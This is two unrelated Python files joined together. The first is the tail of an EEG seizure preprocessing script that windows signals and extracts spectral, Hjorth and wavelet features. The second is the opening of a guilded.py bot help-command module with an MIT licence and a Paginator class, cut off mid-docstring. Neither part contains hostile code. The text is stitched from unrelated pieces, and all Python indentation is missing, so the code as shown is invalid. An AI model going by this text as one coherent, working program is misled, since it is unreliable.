for i in range(len(all_onsets)):
if all_onsets[i]>all_offsets[i]:
annotation_errors.append(i)
# discard seizures that are too close together
clusters = []
for i in range(1,len(all_onsets)):
if all_onsets[i] - all_offsets[i-1] < h_between_onsets:
clusters.append(i)
# check if the first seizure has enough data before the onset; otherwise, discard it
not_enough_data = []
for pat in patient_list:
if "pat_" + ID in pat:
time_list = sorted(os.listdir(pat))
time_list = [s for s in time_list if 'timeVector' in s] # only files with "timeVector"
time_list = [pat + s for s in time_list]
rec_start = np.load(time_list[0], allow_pickle=True)[0]
if (all_onsets[0] - rec_start) < h_before_onset:
not_enough_data.append(0)
discard = np.unique(annotation_errors + clusters + not_enough_data)
print(f'Discarding seizures: {discard}')
if discard.size > 0:
onsets = np.delete(all_onsets, discard)
offsets = np.delete(all_offsets, discard)
exogenous = np.delete(exogenous, discard, 0)
else:
onsets = all_onsets
offsets = all_offsets
exogenous = exogenous
for pat in patient_list:
found_seizures = 0
if "pat_" + ID in pat:
time_list = sorted(os.listdir(pat))
time_list = [s for s in time_list if 'timeVector' in s] # only files with "timeVector"
time_list = [pat + s for s in time_list]
signal_list = sorted(os.listdir(pat))
signal_list = [s for s in signal_list if 'signalData' in s] # only files with "signalData"
signal_list = [pat + s for s in signal_list]
gap_list = sorted(os.listdir(pat))
gap_list = [s for s in gap_list if 'gapSeconds' in s] # only files with "gapSeconds"
gap_list = [pat + s for s in gap_list]
# reset these for each recording (optimize search)
t_start = 0
t_end = 0
if found_seizures > 0: # avoid looking for seizures already found (optimize search)
onsets = onsets[found_seizures:]
offsets = offsets[found_seizures:]
for o in range(len(onsets)):
print(f"Gathering data for seizure #{o+1}...")
# find beginning of the signal (different for training and testing seizures, read above)
if found_seizures < 3:
# find first signal that is X hours before the onset
searching_start = True
while searching_start and t_start <= len(time_list):
t_vector = np.load(time_list[t_start], allow_pickle=True)
gap = np.load(gap_list[t_start]).item(0) # check in case onset - X is in missing data segment
if t_vector[0] - dt.timedelta(seconds = gap) <= onsets[o] - h_before_onset and t_vector[-1] > onsets[o] - h_before_onset:
if gap > 0 and onsets[o] - h_before_onset < t_vector[0]:
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t_start-1], allow_pickle=True)
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
previous_signal = np.load(signal_list[t_start-1], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_gap_input = (previous_signal[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
new_t_vector = np.concatenate((generated_time, t_vector))
new_signal_array = np.vstack((generated_signal, signal_array))
signal_start_idx = (np.abs(new_t_vector - (onsets[o] - h_before_onset))).argmin() # closest time sample
signal_start = new_signal_array[signal_start_idx:,:].astype("float32")
time_start = new_t_vector[signal_start_idx:]
else:
signal_start_idx = (np.abs(t_vector - (onsets[o] - h_before_onset))).argmin() # closest time sample
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_start = signal_array[signal_start_idx:,:].astype("float32")
time_start = t_vector[signal_start_idx:]
print(f"Found it! t_start = {t_start}")
searching_start = False
t_end = t_start # start looking for offset after onset (optimize search)
else:
t_start+=1
else:
# find first signal that is 30 mins after the previous offset (including discarded ones)
original_idx = np.where(all_onsets == onsets[o])[0][0]
if original_idx - 1 in annotation_errors:
after_last_offset = all_onsets[original_idx - 1] + m_postictal # use onset instead (rare, but it happens)
else:
after_last_offset = all_offsets[original_idx - 1] + m_postictal
searching_start = True
while searching_start and t_start <= len(time_list):
t_vector = np.load(time_list[t_start], allow_pickle=True)
gap = np.load(gap_list[t_start]).item(0) # check in case onset - X is in missing data segment
if t_vector[0] - dt.timedelta(seconds = gap) <= after_last_offset and t_vector[-1] > after_last_offset:
if gap > 0 and after_last_offset < t_vector[0]:
gap_time = np.arange(1/fsampling, gap, 1/fsampling) # !!! if a MemoryError occurs later, change this
previous_t_vector = np.load(time_list[t_start-1], allow_pickle=True)
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
previous_signal = np.load(signal_list[t_start-1], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_gap_input = (previous_signal[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
new_t_vector = np.concatenate((generated_time, t_vector))
new_signal_array = np.vstack((generated_signal, signal_array)).astype("float32")
signal_start_idx = (np.abs(new_t_vector - (after_last_offset))).argmin() # closest time sample
signal_start = new_signal_array[signal_start_idx:,:]
time_start = new_t_vector[signal_start_idx:]
else:
signal_start_idx = (np.abs(t_vector - (after_last_offset))).argmin() # closest time sample
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_start = signal_array[signal_start_idx:,:].astype("float32")
time_start = t_vector[signal_start_idx:]
print(f"Found it! t_start = {t_start}")
searching_start = False
t_end = t_start # start looking for offset after onset (optimize search)
else:
t_start+=1
# find first signal that contains the offset
searching_end = True
if t_start == len(time_list):
searching_end = False # start searching in a different recording (optimize search)
while searching_end and t_end <= len(time_list):
t_vector = np.load(time_list[t_end], allow_pickle=True)
if t_vector[0] <= offsets[o] and t_vector[-1] > offsets[o]:
signal_end_idx = (np.abs(t_vector - offsets[o])).argmin() # closest time sample
signal_array = np.load(signal_list[t_end], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_end = signal_array[:signal_end_idx,:].astype("float32")
time_end = t_vector[:signal_end_idx]
print(f"Found it! t_end = {t_end}")
searching_end = False
else:
t_end+=1
if t_start != len(time_list): # find remaining signals between the previous segments and concatenate all of them; check for gaps!
if t_start == t_end: # may happen in large files that span several hours...
signal_segment = signal_array[signal_start_idx:signal_end_idx]
time_segment = t_vector[signal_start_idx:signal_end_idx]
for t in range(t_start+1,t_end+1):
print(f"Concatenating! t = {t}")
if t==t_start+1:
t_vector = np.load(time_list[t], allow_pickle=True)
signal_array = np.load(signal_list[t], allow_pickle = True)[:,electrodes_rows].astype("float32")
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_start[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_start, generated_time, t_vector))
signal_segment = np.vstack((signal_start, generated_signal, signal_array)).astype("float32")
else:
time_segment = np.concatenate((time_start, t_vector))
signal_segment = np.vstack((signal_start, signal_array)).astype("float32")
elif t==t_end:
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_segment[-1,:] + signal_end[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_segment, generated_time, time_end))
signal_segment = np.vstack((signal_segment, generated_signal, signal_end)).astype("float32")
else:
time_segment = np.concatenate((time_segment, time_end))
signal_segment = np.vstack((signal_segment, signal_end))[:,:].astype("float32")
else:
t_vector = np.load(time_list[t], allow_pickle=True)
signal_array = np.load(signal_list[t], allow_pickle = True)[:,electrodes_rows].astype("float32")
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_segment[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_segment, generated_time, t_vector))
signal_segment = np.vstack((signal_segment, generated_signal, signal_array)).astype("float32")
else:
time_segment = np.concatenate((time_segment, t_vector))
signal_segment = np.vstack((signal_segment, signal_array)).astype("float32")
# label time_segment and signal_segment: 0 = non-ictal; 2 = ictal
ictal_start_idx = (np.abs(time_segment - onsets[o])).argmin() # closest time sample
label_segment = np.zeros(time_segment.shape)
label_segment[ictal_start_idx:] = 2
# save each seizure data in "Seizures" folder as: patX_seizureY_signal, patX_seizureY_time, patX_seizureY_label
found_seizures+=1
print(f'Saving seizure #{o+1}...')
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure'+ str(found_seizures) + '_timeVector', time_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_signalData', signal_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_labelVector', label_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_exogenousVariables', exogenous[o])
#%% Window segmentation (5 secs, no overlap)
# Segment seizure data in windows, create labels for windowed data and extract linear univariate features
seizure_list = sorted(os.listdir(path + 'Seizures' + sep))
seizure_list = [path + 'Seizures' + sep + s for s in seizure_list]
signal_list = [s for s in seizure_list if 'signalData' in s] # only files with "signalData"
#time_list = [s for s in seizure_list if 'timeVector' in s] # only files with "timeVector"
label_list = [s for s in seizure_list if 'labelVector' in s] # only files with "labelVector"
for ID in patient_IDs:
print(f'Segmenting data for patient {ID}...')
for i in range(len(signal_list)):
if "pat" + ID in signal_list[i]:
sig = np.load(signal_list[i], allow_pickle = True)
labels = np.load(label_list[i], allow_pickle = True)
#times = np.load(time_list[i], allow_pickle = True)
print(f'Splitting signal {signal_list[i].split("Seizures" + sep)[1]}')
windows = []
windows_label = []
idx = 0
while idx + window_size < len(sig):
win = sig[idx:idx + window_size,:]
lab = labels[idx:idx + window_size]
# label window: if any ictal samples are present, classify whole window as ictal
if np.any(lab == 2) == True:
windows_label.append(2)
else:
windows_label.append(0)
# apply filters and save window
win_notch = signal.lfilter(b_notch, a_notch, win)
win_filtered = signal.lfilter(b_HPF, a_HPF, win_notch)
windows.append(np.array(win_filtered, dtype="float32"))
idx += window_size + 1
print('Saving windowed signal and labels...')
np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowData', windows)
np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowLabel', windows_label)
#np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowTime', windows_time)
#%% Feature extraction (linear univariate features)
window_list = sorted(os.listdir(path + 'Seizures_windowed' + sep))
window_list = [path + 'Seizures_windowed' + sep + s for s in window_list]
signal_list = [s for s in window_list if 'windowData' in s] # only files with "windowData"
for ID in patient_IDs:
print(f'Extracting features for patient {ID}...')
for i in range(len(signal_list)):
if "pat" + ID in signal_list[i]:
sig = np.load(signal_list[i], allow_pickle = True)
print(f'Computing features from {signal_list[i].split("Seizures_windowed" + sep)[1]}')
feature_mean = []
feature_variance = []
feature_skewness = []
feature_kurtosis = []
feature_thetapower = []
feature_deltapower = []
feature_betapower = []
feature_alphapower = []
#feature_gammapower = []
feature_lowgammapower = []
feature_highgammapower = []
feature_hjorth_act = []
feature_hjorth_mob = []
feature_hjorth_com = []
feature_sef50 = []
feature_sef75 = []
feature_sef90 = []
feature_wavelet_energy_a7 = []
feature_wavelet_energy_d7 = []
feature_wavelet_energy_d6 = []
feature_wavelet_energy_d5 = []
feature_wavelet_energy_d4 = []
feature_wavelet_energy_d3 = []
feature_wavelet_energy_d2 = []
feature_wavelet_energy_d1 = []
#feature_circadian_rhythm = []
for j in range(sig.shape[0]):
window = sig[j, :, :]
# MEAN
mean = np.mean(window, axis = 0)
feature_mean.append(mean)
# VARIANCE
variance = np.var(window, axis = 0, ddof = 1)
feature_variance.append(variance)
# SKEWNESS
sum = 0
for x in window:
sum += (x - mean)**3
skewness = ((1 / (len(window) - 1)) * sum) / (np.std(window, axis = 0)**3)
feature_skewness.append(skewness)
# KURTOSIS
sum = 0
for x in window:
sum += (x - mean)**4
kurtosis = (((1 / (len(window) - 1)) * sum) / ((len(window) - 1) * np.std(window, axis = 0)**4)) - 3
feature_kurtosis.append(kurtosis)
# RELATIVE SPECTRAL POWER
psd = []
for channel in range(window.shape[1]):
freqs, power = signal.welch(window[:,channel], fsampling)
psd.append(power)
thetapower = []
deltapower = []
betapower = []
alphapower = []
gammapower = []
lowgammapower = []
highgammapower = []
for spectrum in psd:
theta = integrate.simps(spectrum[theta_range[0]:theta_range[1]+1]) / integrate.simps(spectrum)
thetapower.append(theta)
delta = integrate.simps(spectrum[delta_range[0] : delta_range[1]+1]) / integrate.simps(spectrum)
deltapower.append(delta)
beta = integrate.simps(spectrum[beta_range[0] : beta_range[1]+1]) / integrate.simps(spectrum)
betapower.append(beta)
alpha = integrate.simps(spectrum[alpha_range[0] : alpha_range[1]+1]) / integrate.simps(spectrum)
alphapower.append(alpha)
#gamma = integrate.simps(spectrum[gamma_range[0] : gamma_range[1]+1]) / integrate.simps(spectrum)
#gammapower.append(gamma)
low_gamma = integrate.simps(spectrum[low_gamma_range[0] : low_gamma_range[1]+1]) / integrate.simps(spectrum)
lowgammapower.append(low_gamma)
high_gamma = integrate.simps(spectrum[high_gamma_range[0] : high_gamma_range[1]+1]) / integrate.simps(spectrum)
highgammapower.append(high_gamma)
feature_thetapower.append(np.array(thetapower))
feature_deltapower.append(np.array(deltapower))
feature_betapower.append(np.array(betapower))
feature_alphapower.append(np.array(alphapower))
#feature_gammapower.append(np.array(gammapower))
feature_lowgammapower.append(np.array(lowgammapower))
feature_highgammapower.append(np.array(highgammapower))
# HJORTH PARAMETERS
deriv1 = np.gradient(window, axis = 0)
deriv2 = np.gradient(deriv1, axis = 0)
hjorth_act = variance
hjorth_mob = np.sqrt(np.var(deriv1, axis = 0, ddof = 1)/np.var(window, axis = 0, ddof = 1))
hjorth_com = np.sqrt((np.var(deriv2, axis = 0, ddof = 1)*np.var(window, axis = 0, ddof = 1))/np.var(deriv1, axis = 0, ddof = 1)**2)
feature_hjorth_act.append(hjorth_act)
feature_hjorth_mob.append(hjorth_mob)
feature_hjorth_com.append(hjorth_com)
# SPECTRAL EDGE FREQUENCY (50%, 75%, 90%)
sef50percent = []
sef75percent = []
sef90percent = []
for spectrum in psd:
power_cum = integrate.cumtrapz(spectrum)
sef50 = (np.abs(power_cum - 0.5*integrate.trapz(spectrum))).argmin() # closest freq holding 50% spectral power
sef50percent.append(sef50)
sef75 = (np.abs(power_cum - 0.75*integrate.trapz(spectrum))).argmin() # closest freq holding 75% spectral power
sef75percent.append(sef75)
sef90 = (np.abs(power_cum - 0.9*integrate.trapz(spectrum))).argmin() # closest freq holding 90% spectral power
sef90percent.append(sef90)
feature_sef50.append(np.array(sef50percent))
feature_sef75.append(np.array(sef75percent))
feature_sef90.append(np.array(sef90percent))
# WAVELET COEFFICIENTS (ENERGY)
a7_energy = []; d7_energy = []; d6_energy = []; d5_energy = []
d4_energy = []; d3_energy = []; d2_energy = []; d1_energy = []
for channel in range(window.shape[1]):
coeffs = pywt.wavedec(window[:, channel], mother_wavelet, level = 8)
# coeffs -> [A7, D7, D6, D5, D4, D3, D2, D1]
a7_energy.append(np.sum(np.abs(np.power(coeffs[0], 2))))
d7_energy.append(np.sum(np.abs(np.power(coeffs[1], 2))))
d6_energy.append(np.sum(np.abs(np.power(coeffs[2], 2))))
d5_energy.append(np.sum(np.abs(np.power(coeffs[3], 2))))
d4_energy.append(np.sum(np.abs(np.power(coeffs[4], 2))))
d3_energy.append(np.sum(np.abs(np.power(coeffs[5], 2))))
d2_energy.append(np.sum(np.abs(np.power(coeffs[6], 2))))
d1_energy.append(np.sum(np.abs(np.power(coeffs[7], 2))))
feature_wavelet_energy_a7.append(a7_energy)
feature_wavelet_energy_d7.append(d7_energy)
feature_wavelet_energy_d6.append(d6_energy)
feature_wavelet_energy_d5.append(d5_energy)
feature_wavelet_energy_d4.append(d4_energy)
feature_wavelet_energy_d3.append(d3_energy)
feature_wavelet_energy_d2.append(d2_energy)
feature_wavelet_energy_d1.append(d1_energy)
# CIRCADIAN RHYTHM (seconds of the day, between 0 and 86400 -> normalize to 0-1)
#circadian = (window_time[0].hour * 3600 + window_time[0].minute * 60) / (24 * 3600)
#feature_circadian_rhythm.append(np.ones((19)) * circadian)
print('Saving features...')
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_mean', feature_mean)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_var', feature_variance)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_skew', feature_skewness)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_kurt', feature_kurtosis)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_theta', feature_thetapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_delta', feature_deltapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_beta', feature_betapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_alpha', feature_alphapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_lowgamma', feature_lowgammapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_highgamma', feature_highgammapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_act', feature_hjorth_act)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_mob', feature_hjorth_mob)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_com', feature_hjorth_com)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef50', feature_sef50)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef75', feature_sef75)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef90', feature_sef90)
#np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_circadian', feature_circadian_rhythm)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_a7', feature_wavelet_energy_a7)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d7', feature_wavelet_energy_d7)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d6', feature_wavelet_energy_d6)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d5', feature_wavelet_energy_d5)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d4', feature_wavelet_energy_d4)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d3', feature_wavelet_energy_d3)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d2', feature_wavelet_energy_d2)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d1', feature_wavelet_energy_d1)
#%% Organize data for the evolutionary framework
feature_list = sorted(os.listdir(path + 'Features' + sep))
feature_list = [path + 'Features' + sep + s for s in feature_list]
window_labels = [s for s in window_list if 'windowLabel' in s] # only files with "windowLabel"
seizure_exogenous = [s for s in seizure_list if 'exogenousVariables' in s] # only files with "exogenousVariables"
# Build array containing: feature values, labels, missingdata/flat percentage (for each window); columns = time, rows = feature/others
# Build label for the array created above; feature values = electrodeX_featureY
for ID in patient_IDs:
# Get required files for all seizures of each patient: feature values, labels, missing/flat info
feature_list_patient = []
label_list_patient = []
flat_list_patient = []
saturated_list_patient = []
missing_list_patient = []
exogenous_list_patient = []
print(f'Organizing data for patient {ID}...')
for i in range(len(feature_list)):
if "pat" + ID in feature_list[i]:
feature_list_patient.append(feature_list[i])
for j in range(len(window_labels)):
if "pat" + ID in window_labels[j]:
label_list_patient.append(window_labels[j])
for j in range(len(seizure_exogenous)):
if "pat" + ID in seizure_exogenous[j]:
exogenous_list_patient.append(seizure_exogenous[j])
# used to detect number of seizures for each patient
if len(feature_list_patient) % number_of_features == 0:
seizures_number = len(feature_list_patient) / number_of_features
# build, for each seizure, matrix containing feature values, classification labels (in this order)
for j in range(0, len(feature_list_patient), number_of_features):
seizure_features = feature_list_patient[j:j + number_of_features]
seizure_ID = seizure_features[0].split(sep="_")[1]
seizure_no = int(seizure_ID.split("seizure")[1])
feature_matrix = np.load(seizure_features[0], allow_pickle = True).T # transpose so that rows = features, columns = window
for k in range(1, len(seizure_features)):
feature_matrix = np.vstack((feature_matrix, np.load(seizure_features[k], allow_pickle = True).T))
# add classification labels
feature_matrix = np.vstack((feature_matrix, np.load([x for x in label_list_patient if seizure_ID+"_" in x][0], allow_pickle = True).T))
np.save(path + 'Evol2' + sep + 'pat' + ID + '_seizure'+ str(seizure_no) + '_featureMatrix', feature_matrix)
else:
print(f'Could not detect number of seizures for patient {ID}! Please update feature labels...')
# build array with exogenous information for all seizures
exogenous_matrix = []
for j in range(len(exogenous_list_patient)):
exogenous_matrix.append(np.load(exogenous_list_patient[j], allow_pickle = True))
np.save(path + 'Evol2' + sep + 'pat' + ID + '_seizureInfo', exogenous_matrix)
# build legend (same for all patients)
legend = []
for i in range(len(feature_labels)):
for j in range(len(electrodes_label)):
legend.append(electrodes_label[j] + '_' + feature_labels[i])
legend.append('class')
np.save(path + 'Evol2' + sep + 'legend', legend) # !!! mudar de volta para Evol depois
print("\a") # beep when done :) |
"""
MIT License
Copyright (c) 2020-present windowsboy111, shay (shayypy)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
This project includes code from https://github.com/Rapptz/discord.py, which is
available under the MIT license:
The MIT License (MIT)
Copyright (c) 2015-present Rapptz
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
"""
import copy
import functools
import itertools
import re
import guilded.utils
from .context import Context
from .core import Command, Group
from .errors import CommandError
__all__ = (
'Paginator',
'HelpCommand',
'DefaultHelpCommand',
'MinimalHelpCommand',
)
# help -> shows info of bot on top/bottom and lists subcommands
# help command -> shows detailed info of command
# help command <subcommand chain> -> same as above
# <description>
# <command signature with aliases>
# <long doc>
# Cog:
# <command> <shortdoc>
# <command> <shortdoc>
# Other Cog:
# <command> <shortdoc>
# No Category:
# <command> <shortdoc>
# Type <prefix>help command for more info on a command.
# You can also type <prefix>help category for more info on a category.
class Paginator:
"""A class that aids in paginating code blocks for Guilded messages.
.. container:: operations
.. describe:: len(x)
Returns the total number of characters in the paginator.
Attributes
-----------
prefix: :class:`str`
The prefix inserted to every page. e.g. three backticks.
suffix: :class:`str`
The suffix appended at the end of every page. e.g. three backticks.
max_size: :class:`int`
The maximum amount of codepoints allowed in a page.
linesep: :class:`str`
The character string inserted between lines. e.g. a newline character.
"""
def __init__(self, prefix='```', suffix='```', max_size=2000, linesep='\n'):
self.prefix = prefix
self.suffix = suffix
self.max_size = max_size
self.linesep = linesep
self.clear()
def clear(self):
"""Clears the paginator to have no pages."""
if self.prefix is not None:
self._current_page = [self.prefix]
self._count = len(self.prefix) + self._linesep_len # prefix + newline
else:
self._current_page = []
self._count = 0
self._pages = []
@property
def _prefix_len(self):
return len(self.prefix) if self.prefix else 0
@property
def _suffix_len(self):
return len(self.suffix) if self.suffix else 0
@property
def _linesep_len(self):
return len(self.linesep)
def add_line(self, line='', *, empty=False):
"""Adds a line to the current page.
If the line exceeds the :attr:`max_size` then an exception
is raised.
Parameters
-----------
line: :class:`str`
The line to add.
empty: :class:`bool`
Indicates if another empty line should be added.
Raises
------
RuntimeError
The line was too big for the current :attr:`max_size`.
"""
max_page_size = self.max_size - self._prefix_len - self._suffix_len - 2 * self._linesep_len
if len(line) > max_page_size:
raise RuntimeError(f'Line exceeds maximum page size {max_page_size}')
if self._count + len(line) + self._linesep_len > self.max_size - self._suffix_len:
self.close_page()
self._count += len(line) + self._linesep_len
self._current_page.append(line)
if empty:
self._current_page.append('')
self._count += self._linesep_len
def close_page(self):
"""Prematurely terminate a page."""
if self.suffix is not None:
self._current_page.append(self.suffix)
self._pages.append(self.linesep.join(self._current_page))
if self.prefix is not None:
self._current_page = [self.prefix]
self._count = len(self.prefix) + self._linesep_len # prefix + linesep
else:
self._current_page = []
self._count = 0
def __len__(self):
return sum(len(p) for p in self._pages) + self._count
@property
def pages(self):
"""List[:class:`str`]: Returns the rendered list of pages."""
# we have more than just the prefix in our current page
if len(self._current_page) > (0 if self.prefix is None else 1):
self.close_page()
return self._pages
def __repr__(self):
fmt = '<Paginator prefix: {0.prefix!r} suffix: {0.suffix!r} linesep: {0.linesep!r} max_size: {0.max_size} count: {0._count}>'
return fmt.format(self)
def _not_overriden(f):
f.__help_command_not_overriden__ = True
return f
class _HelpCommandImpl(Command):
def __init__(self, inject, *args, **kwargs):
super().__init__(inject.command_callback, *args, **kwargs)
self._original = self._injected = inject
async def prepare(self, ctx):
self._injected = injected = self._original.copy()
injected.context = ctx
self.callback = injected.command_callback
on_error = injected.on_help_command_error
if not hasattr(on_error, '__help_command_not_overriden__'):
self.on_error = self._on_error_cog_implementation if self.cog else on_error
await super().prepare(ctx)
async def _parse_arguments(self, ctx):
# Make the parser think we don't have a cog so it doesn't
# inject the parameter into `ctx.args`.
original_cog = self.cog
self.cog = None
try:
await super()._parse_arguments(ctx)
finally:
self.cog = original_cog
async def _on_error_cog_implementation(self, _, ctx, error):
await self._injected.on_help_command_error(ctx, error)
@property
def clean_params(self):
result = self.params.copy()
try:
del result[next(iter(result))]
except StopIteration:
raise ValueError('Missing context parameter') from None
else:
return result
def _inject_into_cog(self, cog):
# Warning: hacky
# Make the cog think that get_commands returns this command
# as well if we inject it without modifying __cog_commands__
# since that's used for the injection and ejection of cogs.
def wrapped_get_commands(*, _original=cog.get_commands):
ret = _original()
ret.append(self)
return ret
# Ditto here
def wrapped_walk_commands(*, _original=cog.walk_commands):
yield from _original()
yield self
functools.update_wrapper(wrapped_get_commands, cog.get_commands)
functools.update_wrapper(wrapped_walk_commands, cog.walk_commands)
cog.get_commands = wrapped_get_commands
cog.walk_commands = wrapped_walk_commands
self.cog = cog
def _eject_cog(self):
if self.cog is None:
return
# revert back into their original methods
cog = self.cog
cog.get_commands = cog.get_commands.__wrapped__
cog.walk_commands = cog.walk_commands.__wrapped__
self.cog = None
class HelpCommand:
r"""The base implementation for help command formatting.
.. note::
Internally instances of this class are deep copied every time
the command itself is invoked to prevent a race condition
mentioned in :dpyissue:`2123`.
This means that relying on the state of this class to be
the same between command invocations would not work as expected.
Attributes
------------
context: Optional[:class:`Context`]
The context that invoked this help formatter. This is generally set after
the help command assigned, :func:`command_callback`\, has been called.
show_hidden: :class:`bool`
Specifies if hidden commands should be shown in the output.
Defaults to ``False``.
verify_checks: Optional[:class:`bool`]
Specifies if commands should have their :attr:`.Command.checks` called
and verified. If ``True``, always calls :attr:`.Command.checks`.
If ``None``, only calls :attr:`.Command.checks` in a guild setting.
